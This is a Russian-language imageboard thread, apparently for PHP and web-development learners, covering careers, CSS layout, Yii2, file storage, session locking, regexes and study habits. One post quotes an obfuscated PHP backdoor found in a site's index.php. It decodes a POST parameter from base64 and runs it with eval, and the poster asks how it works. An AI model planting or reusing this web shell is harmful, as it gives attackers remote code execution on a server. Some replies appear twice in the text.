Я думаю потратить еще года два на похапе, а потом начать изучать жаву. Все равно я уже по всем похапе вакансиям в городе походил и везде послали, так что смысла по ним больше нет ходить.
смуззи еще добавь в меню.
https://github.com/yiisoft/yii2/blob/master/framework/base/Model.php#L819
Потому что если $_POST будет пустой (данные формы не отправлены), ты собираешься показывать сообщение об ошибке. Зачем?
Вы заметите что там постоянно упоминаются тесты, для любопытных у нас есть обзорный урок по средствам автоматизированного тестирования кода: https://gist.github.com/codedokode/a455bde7d0748c0a351a
Ну и разработка Хромиума ведется публично, потому вы можете все посмотреть своими глазами (если знаете английский). Репозиторий публичный, код-ревью публичное, результаты прогона тестов тоже публичные. Это конечно интересно все, так как позволяет нам увидеть современные подходы к организации разработки, с которыми раньше можно было познакомиться только при работе в какой-нибудь крупной компании.
10-20к.
Блин, читаю дальше, я по ходу задачу про номера телефонов сделал как второй её вариант, где как раз замена и требуется. А как без замены шаблон сделать вообще не пойму тогда
он же
https://github.com/someApprentice/Cat-and-Mouse
https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/World.php#L96
Я плохо разбираюсь в верстке, но хотелось бы выводить объекты на странице. Что нужно прочесть чтобы можно было вывести их хотя бы отступами за счет x,y?
Почему лучше использовать $this->getProperty() вместо $this->property?
30000 не сильно нагло будет?
ОП посоветуй что посмотреть по wordpress
Везде, блять, требуют знать хотя бы один какой-то ссаный cms.
Я как то пробовал разобраться с ним сам, но у меня от него постоянно жопа горит. Мне он кажется слишком неудобный и ограниченным. Даже пытался сделать на нем один из заказов. Но я быстро дропнул wordpress. И переписал все на yii2. Та как на нем было куда быстрее и проще написать админку чем пердолится с wordpress.
Уже неплохо знаю php, yii, yii2 js, jquery, mysql, html5, css. Даже делал несколько раз, на удаленке, полноценные сайты на yii/yii2. Знакомые работу подгоняли. Но это бывает редко, а кушать хочется всегда, поэтому сейчас подыскиваю полноценную работу. Или посоветуй куда еще можно расти как веб программисту.
Сажа приклеилась случайно
Тебе просто надо изучить HTML и CSS. Судя по описанию, ты их не изучал, а делаешь все наугад, переставляя слова в надежде что оно само заработает.
В ОП посте есть задания на HTML/CSS, есть ссылки на статьи с теорией. Реши их, покажи в треде, исправь замечания, и я уверен что после прохождения всех их для тебя задача «расположить 2 блока как угодно» будет решаться за полминуты.
Делаешь блок, который находится ровно по центру. В него пихаешь два других блока (inline-block).
Почему это? Наоборот, по больше проектов на гит. Типо скиллы апнул, а не на жопе сидел.
Подскажи как лучше хранить изображения.
Ведь есть куча вариантов, от сохранения их в бд, до просто копирования в папку и последующего вывода оттуда перебором файлов. Однако ни тот, ни тот способ не есть хорошим, первый, потому что это не практично и раздует базу данных, второй, потому что в папках есть разного рода скрытые файлы(типа файла иконок) и некорректно выводится число изображений в папке.
Можно сохранять файл, в папку и записывать его имя в базу данных, чтобы потом таким образом извлечь, но тут тоже есть варианты. Записывать весь путь к изображению, или только его название, ну, короче, посоветуй, пожалуйста!
https://github.com/fzaninotto/Faker генерирует имена, города, номера, пароли, емейлы, тексты,
все что хочешь, не знаю то ли это что ты ищешь.
>>548270
Файлы в папку, информацию о них в БД.
> Записывать весь путь к изображению, или только его название, ну, короче, посоветуй, пожалуйста!
весь путь относительно корня сайта или хранилища так как при переносе на другой хостинг полный путь меняется.
>Файлы в папку, информацию о них в БД.
Триггер на удаление тоже в БД.
Либо ночная чистка таблиц.
public function actionSignup(){
$model = new SignupForm();
if( $model->load( Yii::$app->request->post() ) ){
return $model;
}else{
throw new \yii\web\HttpException(501, 'Серверная ошибка.'); \t
}
}
Хочется иметь вывод в виде:
{
success : false,
data : {
email : "Email уже существует"
}
}
Садился за пыху пол года назад, неплохо прозанимался, решал учебничек ОПа. Потом чего-то забил, не помню уже почему и стал дрочить верстку/JS, сейчас немного верстаю и скрипты простецкие пишу.
Нужна ли мне пыха? С работой для чисто верстал напряжно в моем милионнике, с пыхой есть больше вариантов.
Асло, понимаю что пыха лишней не будет, но вопрос возник из-за того, что времени у меня свободного немного, распыляться не очень хочется, а на работу с текущими скиллами не берут (тупо вакансий нет для студентоты).
Много раз слышал такое, но джаву учить не хочу. Почему погромистам на пхп или фронтеднерам платят меньше?
Потому что средняя ЗП у ПХП учитывает еще и всякие говнопроекты школотронов, а на Яве в основном большие проекты.
Мимо-диванный-эксперт
Потому что у пхп порог вхождения ниже.
А хорошие фронты сейчас вроде гораздо выше хороших пыхарей ценятся. Ну сужу по окружению и по тому, что сам видел.
Чтобы вместо
...
public property1;
public property2;
public property3;
...
Писать
...
public:
property1;
property2;
property3;
...
Суть в том, есть, допустим, пхп скрипт, который просто считает от 1 до 10 за 10 секунд.
Я открываю его через браузер, он начинает считать.
Сразу открываю его же во второй вкладке. Но вкладка не открывается, а ждет, пока не завершится счет первого скрипта.
Также, пока первый считает, на сервере не открываются любые другие скрипты.
Как их заставить работать одновременно? Может что настроить надо, сам пхп, апач?
> заставить работать одновременно
Мб внести их в один цикл? Или прописать доп условие на доступ к другим скриптам.
>Задание 6
Я в курсе всех особенностей float, читал тут -> http://softwaremaniacs.org/blog/2005/12/01/css-layout-float/
Но
>ни в коем случае не используй тут свойство overflow
и как же мне выравнивать колонки?
>подсказка: тебе надо изучить свойства float и clear
>clear
зачем в этом задании clear? в твоем макете нет блоков которые идут после флоата и не должны на него наезжать
Вот кароче мой примерчик:
https://jsfiddle.net/ysvo6hrr/2/
Нет, на сервере есть один скрипт, который считает 10 секунд. Пока он считает, ни один другой скрипт (втч он сам) не открывается браузером. Выкинуть его я не могу. "Оптимизировать" выполнение тоже. Все.
Получается, из-за одного лишь скрипта, который не делает никакой работы, но занимает 10 секунд времени простаивает весь остальной сервер. Непорядок.
Да при чем тут события?
На сервере работает 10 секунд скрипт.
Пока его работа не завершится, нельзя запустить никакой другой пхп скрипт вообще (без ожидания).
Один скрипт заставляет ждать весь сервер. Надо чтобы другие скрипты (втч копия скрипта счетчика открытая во второй вкладке) не ждали пока завершится этот десятисекундный скрипт-пустышка.
Я уже и не знаю как объяснить то по другому.
На самом деле там не тупой скрипт счетчик, и выполняется он гораздо быстрее 10 секунд, но суть остается та же.
Именно что многопоточность это не то. СОВСЕМ не то.
Там везде параллелят один скрипт на потоки. А мне нужно просто запустить несколько скриптов рядышком так чтобы они не мешали друг другу. Хоть для этого потребуется множество одновременно запущенных апачей и пхп, мне все равно.
Это извращение, удалять файлы через триггеры. Как минимум, в дефолтной конфигурации у mysql обычно нет прав на удаление файлов, а если они находятся на разных серверах/в контейнерах то точно нет.
Удалять файлы вместе с записями надо на уровне приложения (сначала запись, потом файл, в твоем коде неправильно). Также файлы лучше удалять после коммита транзакции (потому что она может и не закоммититься).
Ну и конечно, скрипт-сборщик мусора будет не лишним так как на практике случаются разные косяки. Я предпочитаю кстати не удалять, а перемещать в «корзину», из которой чистятся долго лежавшие там файлы.
Нет, но по моим ощущениям это способствует читаемости. Если долго печатать то настрой сокращения в редакторе.
>>548579
Вектор это изучение ООП. Если у тебя есть пробелы в ООП то стоит их закрыть.
>>548548
Да, как минимум комментарии phpdoc писать не
получится.
>>548562
Сессии случайно не используешь? Не используй, а то они блокируются: http://habrahabr.ru/company/bitrix/blog/179803/
>>548586
Скорее всего это блокировка. Какой у тебя сервер? Настройки не менял, вроде maxChildren? Апач позволяет параллельно много запросов обрабатывать.
>>548649
Это тут не при чем
>>548653
Для этого хватит одного Апача надо просто найти причину блокировки.
>>548727
Это кстати плохой совет. Для нормальной реализации многопоточности нужна нормальная ООп библиотека (как в яве/C#) а не убогий низкоуровневый С-интерфейс.
капча «выберите все картинки с блинами», но моей любимой (пикрелейтед) там нет.
алсо, хотите секрет: как запостить на двач картинку с другого сайта, не скачивая ее руками? нажмите на выбрать файл и вместо имени вставьте URL картинки. Проверял под виндой, у кого есть другая ОСь, можете тоже проверить.
Нет, но по моим ощущениям это способствует читаемости. Если долго печатать то настрой сокращения в редакторе.
>>548579
Вектор это изучение ООП. Если у тебя есть пробелы в ООП то стоит их закрыть.
>>548548
Да, как минимум комментарии phpdoc писать не
получится.
>>548562
Сессии случайно не используешь? Не используй, а то они блокируются: http://habrahabr.ru/company/bitrix/blog/179803/
>>548586
Скорее всего это блокировка. Какой у тебя сервер? Настройки не менял, вроде maxChildren? Апач позволяет параллельно много запросов обрабатывать.
>>548649
Это тут не при чем
>>548653
Для этого хватит одного Апача надо просто найти причину блокировки.
>>548727
Это кстати плохой совет. Для нормальной реализации многопоточности нужна нормальная ООп библиотека (как в яве/C#) а не убогий низкоуровневый С-интерфейс.
капча «выберите все картинки с блинами», но моей любимой (пикрелейтед) там нет.
алсо, хотите секрет: как запостить на двач картинку с другого сайта, не скачивая ее руками? нажмите на выбрать файл и вместо имени вставьте URL картинки. Проверял под виндой, у кого есть другая ОСь, можете тоже проверить.
HTML я изучил очень подробно. CSS знаю хорошо, но не в идеале. Бесит именно непонятная ситуация с позиционированиями блоков. Я пишу с тех пор, когда ещё IE 5.5 был актуальным. Уже тогда распидорашивание блоков разными браузерами заставляло меня бугуртить и делать табличную вёрстку (В случае когда у тебя всего 2 таблицы на сайт получалось намноооого легче.). Сейчас-же я решил занов взяться за CSS и блоки. И именно они моё главное слабое место. Ну не могу я логично понять ПОЧЕМУ если указываешь float: left; то в обном случае он выравнивает по левому краю, а второй блок уезжает вообще вниз и выравнивается по одному ему известной логике!
>>548247
>Делаешь блок, который находится ровно по центру. В него пихаешь два других блока (inline-block).
ок.
>>548439
Спасибо, сейчас опробую.
http://landrina.ru/library/7-must-read-programmers-books/
Потому что верстка (адаптивная, мобильная) говно полное. прогонять через все эти тестеры для планшетов, что заказчик хочет вообще хуй пойми - у миня вот тута в самсунге ХХХХ блок вниз съезжает на три милиметра - испавьте и вьюпойнт в гугл яндекс адсорсе поставьте. Вот меня пидорасит пиздец, с пхп хоть все четко понятно, если сесть и разобраться.
Я полностью с тобой солидарен, я изучаю верстку сейчас, и она уже кажется мне говном. Я прекрасно понимаю, что многие вещи можно упустить из виду и понять не правильно, можно лениво копировать код и не думать о том как он работает, имея лишь поверхностное представление. Но заучивать кучу хаков и дрочить различия реализаций тех или иных свойств в браузерах - это не райт вэй, это говно. Жаль, что такая важная вещь как формирование вэб страниц отдана на откуп извращенцам. Каждую неделю пилится по новому js-фреймворку, но никто не решается покончить с гребаным css, и выкатить однозначно не противоречивое и простое решение.
схоронил
<?
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if
\t(isset(${$s20}['n828e00'])) { //isset($_POST['n828e00'])
\t\teval($s21(${$s20}['n828e00'])); //eval($base64_decode($_POST['n828e00']))
\t}
?>
Вот это было в index.php
Как я понял, он должен на POST запрос вида /index.php?n828e00=cGhwaW5mbygpOw== // cGhwaW5mbygpOw== 'nj phpinfo(); в base64
исполнить команду. А у меня пустая страница. Поясните кто шарит как эти виросы работают.
Все языки из семейства C похожи. В JS ООП ебанутое-не рекомендую, как первый язык.
Лучше с PHP начать?
я такой же как и ты (ну может на месяц больше учусь + верстку еще подтянул сильно)
нет, js и php немного по синтаксису схожи, но они очень разные. взять хотя бы тоже ооп, замыкания, области видимости и всплывания в js, ссылки на обьекты. по мне так js намного запутанней и точно уж не noob friendly.
многие гонят волну на пхп, но по сравнению с js - пхп еще ничего в плане понимания. многие еще советовали пробежаться по питону и руби для первых языков.
Я месяц-полтора где-то на верстку потратил. Задания ОПа делал и надоедал тут всем своим макетом. Яваскрипт я только 4 дня учил, успел только главу "Основы" на http://learn.javascript.ru/ пройти, так что конечно ты больше меня знаешь.
Но не хочу уже менять первый ЯП. Будет сложно? Ну да и пофиг. Все равно его учить надо будет.
Будь осторожен. Ещё будешь думать, что прототипное наследование и лапша из коллбэков-это нормально
Ну в любом случае по ходу обучения у меня будут возникать какие-либо вопросы и аноны или ОП укажут на то, что нормально, а что нет. Как, например, ты сейчас.
Да и ОП мне тогда сам советовал учить или PHP или JS на выбор. Думаю, если бы было критично, он бы не посоветовал JS.
>Сессии случайно не используешь? Не используй, а то они блокируются: http://habrahabr.ru/company/bitrix/blog/179803/
Нет, не использую.
В скрипте использую чтение файла с диска. 2к коротких строк. file()
Использую загрузку файла через ссылку. Этим занимается библиотека парсера github.com/Imangazaliev/DiDOM
Еще шлю пост запросы курлом.
Это все занимает пару тройку секунд.
Потом скрипт через echo выплевывает js код который рефрешит страницу.
Если открываю одну вкладку, то, допустим, частота обновления выходит в 5 сек. Если две, то каждый по 10, четыре - 20.
Тестирую на Оупен Сервере последнем, под виндой.
Вот пример такого скрипта набросал
ob_implicit_flush(1);
for ($x=0; $x<10; $x++){
sleep(1);
echo '<br>'.$x;
}
Если его открыть в нескольких вкладках, то последующая будет ждать завершения работы в предыдущей.
Но другие скрипты он не тормозит уже.
Я сегодня это видео смотрел и плакал.
http://www.youtube.com/watch?v=E6vu_Nji9_E
Виртуальные миры для нищебродов гораздо красивее реального.
https://github.com/V3N0m21/Uppu3
Я учил что запоминается и скакал дальше, до того как я пришел в этот тред я учил руби он рэйлс, читал книжки, по несколько раз, каждый раз понимал все больше. На такое обучение я потратил дохренище времени, по своим записям я смотрю что я "изучаю" программирование уже года два. Проблема моего обучения, как я уже сейчас смотрю, в том что не было системности, почитал книжку день, посмотрел какую-то херню, попробовал что-то сделать, и все, два дня я ничего не делаю, потом опять возвращаюсь, и так два года. Пиздец как жалко потраченого времени. Прогресс по обучению у меня хорошо пошел после того как я пришел в этот тред, но все-равно не хватает усидчивости, хз как себя перестраивать. Вроде мне и нравится программировать, что-то создавать, я себя охуенно чувствую когда что-то получилось, или в чем-то разобрался, но чтоб начать что-то делать практически всегда приходится заставлять себя. Не представляю как с этим бороться. Ну и наверно больше всего в этом деле мне помогла техника Помодоро, просто, но эффективно
>>548972-кун
такая же хуйня, только, правда, я новичек, а начал еще летом и все никак не могу заставить себя осилить регулярные выражения, до них дошел за несколько дней, а потом как повис на них так и забил хуй, вот сейчас пытаюсь заставить себя их пройти, но чет пиздец влом.
Вообще диву даюсь, как некоторые аноны могут учить это все по 4 часа в день, хотя помню когда я побатрачил официантом месяцок я себе тогда говорил, что впустую проебываю время и мог бы лучше за это время выучить программирование и найти нормальную работу, но я положил хуй на работу и то чувства и уходящем времени прошло и я страдаю хуйней по вечерам на дваче.
Поработай месяцок каким-то грузчиком, это тебя охуительно замотивирует.
Помогите анону не могущему осилить regexp
Почему когда я выбираю замену на пробел, то заменяется даже то, что я не говорил, по идее, заменять. Я вроде правильно написал, что заменять только (\\(|\\)|\\-){0,14} , а оно мне выдает результат как на пике.
ссылка https://ideone.com/m4WJfV , но лучше скажите своими словами, что за хрень
Я это ты. Хотя после того как заставлю себя начать уже не напрягаюсь. Да и вот читаю и думаю, что ужасы какие-то рассказываешь, мол время так только терять, хотя я вот учебник начал по яваскриптам, прошел главу первую можно сказать быстро, думал плохо все запомнил, решил заного все быстренько пройти и понял, что нового в принципе уже ничего и не узнаю, все запомнилось. Может просто дело в том, что разные люди, разные способы запоминания развиты.
Но "технику Помодоро" сейчас все равно загуглю, может годное что-то, действительно.
Хотя вот вспоминаю школу, никогда ничего не читал дома, всегда перед уроком пробегусь бегло глазами по параграфу и уже рассказываю спокойно. Да и в универе так же, в принципе.
Даже и не знаю, что-то не очень эта техника мне понравилась. Я обычно засяду на несколько часов и сижу до посинения. Если мозги кипеть начинают, то заканчиваю.
А все это разделение на 25 минут и потом 5 минут отдыха только трата времени да и отвлекать будет. Я только и буду думать, так это я сейчас прочитаю, а это успею до отдыха? А если задачу решаешь, то прерываться? А если интересно стало у меня такое часто, мне реально по душе программирование то тоже прерываться?
>А все это разделение на 25 минут и потом 5 минут отдыха только трата времени да и отвлекать будет.
Я ее под себя переработал, я не делю все на 25 минут, суть в том что я ставлю для себя задание каждый день проходить по 10 помодорок и все это себе отмечаю допустим отрезками по 75 минут или 110, и так вижу сколько времени я потратил. Меня просто дико спасает этот способ от прокрастинации, потому что ты себя контролируешь и во время помодорок не читаешь всякую поебень и ни с кем не общаешься, а тупо концентрируешься на работе. Короче очень рекомендую всем прокрастинаторам (а на двощах я уверен таких много) поблагодарите меня потом.
А я учу как мозг мне говорит. Вот например я 4 дня учил часов по 5-10. Отвлекался конечно, музыку слушал, но все таки учил довольно долго. Сейчас уже 2 дня отдыхаю, большой объем информации может обрабатывал. Ну особого желания учить не было. Сейчас вот опять появилось, но занят другими делами, к занятиям завтрашним готовлюсь. Завтра с пар приду и все выходные опять залипать в учебниках буду. И так каждый раз. Выучу тонну информации и пару деньков отдыхаю. Мне кажется те, кто в тренажерные залы ходят, делают так же, тренируются много, а потом отдыхают пару дней. А вот такая система, что обязательно за день должен что-то сделать это бред, по крайней мере для меня. Заставлять через силу делать что-то не хочу. Хотя начать учить заставлю все-таки. Знаю, что мне будет интересно, знаю, что информацию буду полезную получать буду, знаю, что с удовольствием буду и читать и задачи решать, но заставить бросить дела и начать учить все-таки надо. Как-то так.
Ну не знаю, я по себе сужу. Если делать вот так как ты рывками и без системы, то не позанимаясь дня два-три я могу забить и на целый месяц. Тут ты правильную аналогию со спортзалом привел, правда виденье у тебя неправильное. Во всех занятиях самое главное система, без системы ничего не построишь. Запомни мои слова о том что дойдя до сложного этапа и полагаясь только на свой мозг и желание учиться ты легко сможешь забить на все это, и забить надолго. Короче поверь моему опыту
это способ не заставить себя учить, ты можешь юзать эту технику только тогда когда у тебя вдохновение или что еще там у тебя, это способ не отвлекаться на всякую хуйню.
Вот я типичный пример, сижу решаю задачку по регулярным выражениям, запостил вопрос на двач - >>549106
Тут же увидел ссылку на видос 20 минутный, посмотрел, потом загуглил технику помодоро и выбирал себе какое приложение поставить в итоге проебал дохуя времени впустую и уже почти 12 и я скоро иду спать. И за сегодня в итоге я решил одну задачку.
Для тех анонов которым вдохновение или желание учить не приходит и им надо себя превозмогать и контролировать.
ничего не понял, что за помидорки?
>Вот я типичный пример, сижу решаю задачку по регулярным выражениям, запостил вопрос на двач
Тут же увидел ссылку на видос 20 минутный, посмотрел, потом загуглил технику помодоро и выбирал себе какое приложение поставить в итоге проебал дохуя времени впустую и уже почти 12 и я скоро иду спать. И за сегодня в итоге я решил одну задачку.
Ты не понимаешь. Ты не ищешь никакие видосики и вообще не отвлекаешься от работы когда идут твои 25 минут. И так 10 раз в день по 25 минут. На самом деле успеваешь просто в ахулион раз больше если контролируешь свое время.
Ну знаешь, я вот сразу же столкнулся со сложностями, была статья про побитовые операторы. Вообще все непонятно было, пришлось учить двоичное исчисление, а потом и статья эта на ура пошла. Не забил, разобрался, понял, что это не так уж и сложно как кажется и выучил.
А насчет этого
>не позанимаясь дня два-три я могу забить и на целый месяц
Я как-то прерывался 2 раза на неделю примерно, так у меня такое чувство накатывало, что я должен уже продолжить все это делать, что когда начинал, то как с цепи срывался.
А насчет сложностей, то их я наоборот как вызов принимаю. Хотя до прихода в тред писал в штаны и забивал. И, знаешь, работает. Пойми, что то, что та сложность с которой ты столкнулся она решаема. Не загоняйся насчет того ааааааааа как же сложно, а знай, что люди до тебя уже в этом разобрались и значит это под силу и тебе, просто возьми и реши проблему.
Я бы хотел вернуться к этому разговору месяца через два-три. Потому что мне слабо верится что твоего запала хватит вот так до самого конца.
Конечно все люди разные, и может ты реально фанатик-аккуратист, но по моему опыту когда каждый маленький шажок дается огромным трудом, кучами запросов в гугл, изучением чужого кода, документации и постоянным переписыванием своего, появляется желание заняться чем-то попроще, погонять колду, почитать всякую херню в \б и тому подобное. Хотя опять же, каждому свое. Вот мы с аноном nsdvw вроде бы в одно и то же время время начинали пилить файлообменник, и вот он его уже закончил, и судя по его коду неплохо разобрался, и уже взялся за yii2, а я только криво доделал комменты на аяксе, и начал делать регистрацию, и работы там судя по всему еще дохренище. Кстати этот анон тоже нехило так меня замотивировал, не люблю быть хуже остальных :3
Говоришь месяца через 2-3? Я не против. Ты может подумал, что я только начал, но я занимаюсь этим уже 3 месяца. Вначале учил PHP, но потом решил начать с основ, закончил курс HTML\CSS и вот перекатился в яваскрипт.
Чтобы было более понятно, в программировании я за долгое время увидел то, чем реально хочу заниматься, увидел того себя в будущем, занимающегося любимым делом. Все мои увлечения обычно заканчивались за несколько дней-недель, но не здесь, душа лежит к этому. Раньше я что делал? Играл в дарк соулсы, смотрел видюшки на ютубе и в вконтактике залипал. Сейчас я уже не помню когда в последний раз в игры заходил, трачу время на программирование и только рад этому.
Найдешь меня по бампам кошаком, если еще в треде будешь.
>>549166
не сдавайтесь аноны и лучше поставьте себе цель запилить, что нибудь крутое. вот я придумал себе идею и сразу появилась мотивация, усидчивость и концентрация. у меня глаза огнем загораются когда я хочу стать намного круче и я тогда порой забываю поспать и поесть, но так делать не стоит.
добра вам.
p.s. помидорку и блокиратор всяких контактов использую, а еще выключаю телефон и музыку подбираю
>>548833 - кун
Такая же история. Я скакал с технологии на технологию и с фреймворка на фреймворк. Много всего бесполезного вычитал и выучил.
> но чтоб начать что-то делать практически всегда приходится заставлять себя. Не представляю как с этим бороться.
На себе заметил, что когда читаешь какую-нибудь книгу, то работать потом очень не хочется. Я бы посоветовал просто бросить много читать или бросить учиться без нужды. Выполнять больше задач и на них учиться. Мыслить по типу "прочитаю-ка я об этом, вдруг, потом в работе пригодится, а я уже всё знаю" очень неверная, так как у тебя есть поверхностное представление, а с за деталями по любому в гугл пойдёшь. Зачем тогда читать об этой ерунде было?
Я бросил учиться без нужды и мне помогло. За задачу намного легче взяться и производительность лучше, ведь теперь не думаешь о паттернах, которые тебе в данный момент не нужны или о ретроспективных негативных проверках с рекурсией в регулярных выражениях. И не думаешь: "О! я такой крутой программист! Я прочитал "корпоративные паттерны" Фаулера, я не быдло, как все остальные". Короче, мой совет не учиться сверхмеры и безнадобности. Интересоваться новинками стоит, но смысл, если их сложно применять потом?
Я тут пройду мимо и вброшу тезис что задачи из Оп-поста довольно практичные: задача про Вектор, которая учит ООП, про студентов которая учит работать с таблицами и формами, про файлообменник, которая учит работаь с файлами и древовидными данными, ну и задача на SPA которая скоро появится. Все они вполне приближены к реальным задачам.
Фаулер конечно хорошая книга, но читать про паттерны надо только имея определенный практический опыт и определенный объем написанного кода, начинающий там может многое просто не понять.
ОП, input - это строчно-блочный элемент? Пока пофиксил самым простым методом через <!---->. Переводить их в тип block, и флоатить мне чет лень.
https://jsfiddle.net/vekt76ah/
Страшненькая.
читаю, понимаю, перепечатываю себе код, смотрю работает ли, могу что-то изменить, чтобы понять принцип. Все.
Ну если ты амбициозный школьник, ждущий чуда и судьбы стива джобса, то возможно да, тебе над пинать себя каждый день. Я лично делаю только то и когда мне нравится. Нагрузки на мозг я чередую: полежал, поиграл, покодил, початился, полежал, послушал музыку, покодил, посмотрел фильм, написал статью, поспал, повторил. Этот тред еще мотивирует, т.к. получается, что кодинг - это лишняя тема потрепаться с другими (честно говоря, только из-за этого и учу).
а смысл, ну будешь ты тужиться и учить что-то, все равно потом нахуй пойдешь с поиском работы, эти знания не пригодятся и опять будешь ныть на сосаче, как многие, что только время зря тратил.
А я наоборот начал в игры играть. Ахуенная там графа, дизин, может игры буду делать когда-нибудь.
Я вот сейчас книгу по ООП читаю и скажу, что она мне очень помогла разобраться с ошибками в моем файлообменнике, понял, как классы загружать, как конструировать класс.
Обрати внимание, насколько серьезно подходят к делу.
- По PHP: Мэтт Зандстра — PHP: Объекты, шаблоны, методики программирования
Вообще странно, что по пхп только одна книга.
Ну, я не говорил, что читать не надо совсем. Не надо переучиваться сверх меры. В начале читать много нужно, но только, чтобы изучить основы и терминологию, иначе будешь потом писать: "два года" и "пиздец как жалко потраченого времени". Первые полгода без книг никак. А потом нужна только практика, иначе ты будешь читать после ООП о паттернах проектирования, потом Фаулера, а потом Таненбаума, какую-нибудь "архитектуру компьютерных сетей". А потом будет, как на картинке. Слева парень сидит за компом и всюду цифры летают и он сидит так выёбисто и надпись: "Я - Бог", а справа фотка грустной собаки с надписью: "я не знаю, что я делаю". Плагин под вордпресс написать не сможешь, интернет-магазин тоже сделать не сможешь. На MVC тоже сделать ничего не можешь, кроме настройки маршрутизатора, но зато Таненбаума читал и знаешь, как работает блютуз и вайфай и как провода устроены. Самое что противное, что и паттерны проектирования, кроме самых простых, по сути, ты тоже использовать не сможешь. Прочитал книгу GoF, а потом в википедии изучаешь singleton. Короче у меня такая ситуация была. Я за 40 минут изучил регулярные выражения и писал их когда было нужно. А потом через полгода такой подумал, что нужно Фридлса прочитать "Регулярный выражения" и вот я знаю про два механизма в регулярных выражениях - детерминированный конечный автомат (ДКА) и недетерминированный конечный автомат (НКА). А хули толку? Надо было мне сделать отрицание по слову в регулярках, так я и встрял с этим на 40 минут. Теперь стараюсь не читать, а только работать и гуглю статьи и книги, когда нужно, чтобы задачу выполнить. Из книги читаю только нужные главы.
Вот есть код примера из учебника на скрине.
function pow(x, n) {
if (n != 1) {
return x pow(x, n - 1);
} else {
return x;
}
}
alert( pow(2, 3) );
Во-первых, почему первый ретурн повторяется несколько раз? Ведь он должен это делать 1 раз?
Во-вторых, на конечном шаге получается 22*pow(2, 1) Почему x здесь равен 8? Мне то понятно, я могу посчитать, но откуда программа знает что нужно в pow(2, 1) высчитать степень? Ведь pow здесь просто название функции?
>Ведь pow здесь просто название функции?
нет, смотри внимательно в код:
return x * pow(x, n - 1);
книге уже четыре года. кстати, электронный варинт вообще позорный - код отсканирован картинкой.
Я тоже уже почти два года изучаю. В чем проблема? Пока изучишь фронтенд и верстку, пока разгребешь документацию, пока от позорных одностраничников придешь к ООП и фреймворкам, пока поковыряешь другие ЯП. Два года - это еще очень даже мало. ОТКУДА ТЫ УЗНАЛ ЧТО Я ЧИТАЮ ТАНЕНБАУМА?[/spoielr]
У меня 2013 год издание написано. Код дергается прекрасно, оглавление подробное. Например:
The Inheritance Problem
Look again at the ShopProduct class. At the moment, it is nicely generic. It can handle all sorts of products:
$product1 = new ShopProduct( "My Antonia", "Willa", "Cather", 5.99 );
$product2 = new ShopProduct( "Exile on Coldharbour Lane",
"The", "Alabama 3", 10.99 );
print "author: ".$product1->getProducer()."\n";
print "artist: ".$product2->getProducer()."\n";
Here’s the output:
author: Willa Cather
artist: The Alabama 3
> Я тоже уже почти два года изучаю. В чем проблема?
Да нет никакой проблемы. Просто я жалею, что много времени потратил и малому в практике научился, как мне кажется.
> ОТКУДА ТЫ УЗНАЛ ЧТО Я ЧИТАЮ ТАНЕНБАУМА?
Ну, типа... по нарастанию уровня выёбистости. Начинаешь читать с "PHP5 для начинающих", потом "PHP. паттерны" или Люк Веллингтон, потом читаешь всю классику по типу "Чистый код" и "Совершенный код", и "Программист-прагматик". Книги читаешь-читаешь и их остаётся всё меньше и меньше, вот, в конце, стоит Таненбаум. Вообще я про него написал, потому что сам начинал его читать и книги я читал вот в такой последовательности, примерно.
> Пока изучишь фронтенд и верстку, пока разгребешь документацию, пока от позорных одностраничников придешь к ООП и фреймворкам, пока поковыряешь другие ЯП
Мне кажется, что всё-таки в первый год надо с этим справиться. Выбрать ЯП / фреймворки и кодить на них потом.
> и их остаётся всё меньше и меньше, вот, в конце, стоит Таненбаум
Ты еще про Кнута не слышал наверно. Эх, молодежь.
Вопрос - они важны? По мне так лучше прочитать какие-нибудь онлайн учебники и вкатываться в задачи, а непонятное гуглить, ну или здесь совета спрашивать.
Вообще-то книга по ООП как раз про php 5. Были бы нормальные книги, а то пальцем тыкаешь наугад, пока не заработает и какие-то обрывочные куски говнокода на стаке и хабре выискиваешь, а по фреймворкам вообще нормально даже документацию даже на английском написать не могут.
Как вообще правильно и общепринято?
для этого нужен только php? не могу поверить что такой сайт как вк и фейсбук написаны на одном языке, уверен что есть что-то еще типо css. Плз обьясните, после какой ключевой точки я смогу зарабатывать на верстке сайтов. Имеется ввиду сразу после изучения php или для этого нужно что-то еще?
Верстка это создание видимой части сайта, а не функций к нему.
Для верстки тебе надо не PHP учить а HTML\CSS\JavaScript
В ОП-посте посмотри ссылки на учебники и задачки.
Ну когда выучишь все, что для этого нужно, очевидно же)
Учи HTML\CSS\JS\БД базы данных\PHP как минимум. Ссылки на учебники и задачи которые ты обязательно должен прорешать в ОП-посте.
Ну а насчет времени, сам понимаешь, все индивидуально. ОП называет 4-8 месяцев на все мною перечисленное.
Впрочем, ВК и Фейсбук ты навряд-ли сделаешь один. Там нужна командная работа.
Добавил ограничители выхода за карту:
github.com/someApprentice/Cat-and-Mouse
Теперь когда у нас есть ограничители рано или поздно они сработают, и мне придется что-то сделать чтобы животные не выходили за карту. Можно ли это сделать так:
for ($x = ($this->x - $this->speed < 0) ? 0 : $this->x - $this->speed; $x <= ($this->x + $this->speed > $world->x) ? $world->x : $this->x + $this->speed; $x++) {
Сделать так можно, но писать это нужно по другому.
Попробуй оценить читабельность написанной тобой строчки (я уж молчу что она в 80 символов даже близко не укладывается).
Части выражений надо вынести в отдельные переменные с понятными именами.
Вместо тернарного оператора лучше использовать min/max.
Как браузер узнает в какой кодировке твой файл, а? Надо поставить в коде тег meta charset: http://htmlbook.ru/html/meta/charset
utf-8 может быть с бомом и без
С бомом нормально отображается русский но хуево работают заголовки. Там идет какой то символ в начале, из этого иногда могут ругаться браузеры, если ты хочешь отправить им не страницу текста а какой то другой динамически формируемый бинарный файл.
Без бома все наоборот.
Попробуй так и так, возможно я перепутал.
Уже стоит. В нём сейм щит. Я сперва дримвивер и качал, но столкнулся с этими иероглифами. Решил после этого перейти на notepad, но и там тоже самое.
Хм, то есть это нужно делать каждый раз, при написании странички? Я думал браузеры автоматически должны определять такие вещи.
Обьясните дауну в чем проблема, вроде все правильно написал, а хуй там.
ненавижу ебаные регулярные выражения
Инклюды что автоматом закрывают фигурные скобки или что? Как починить?
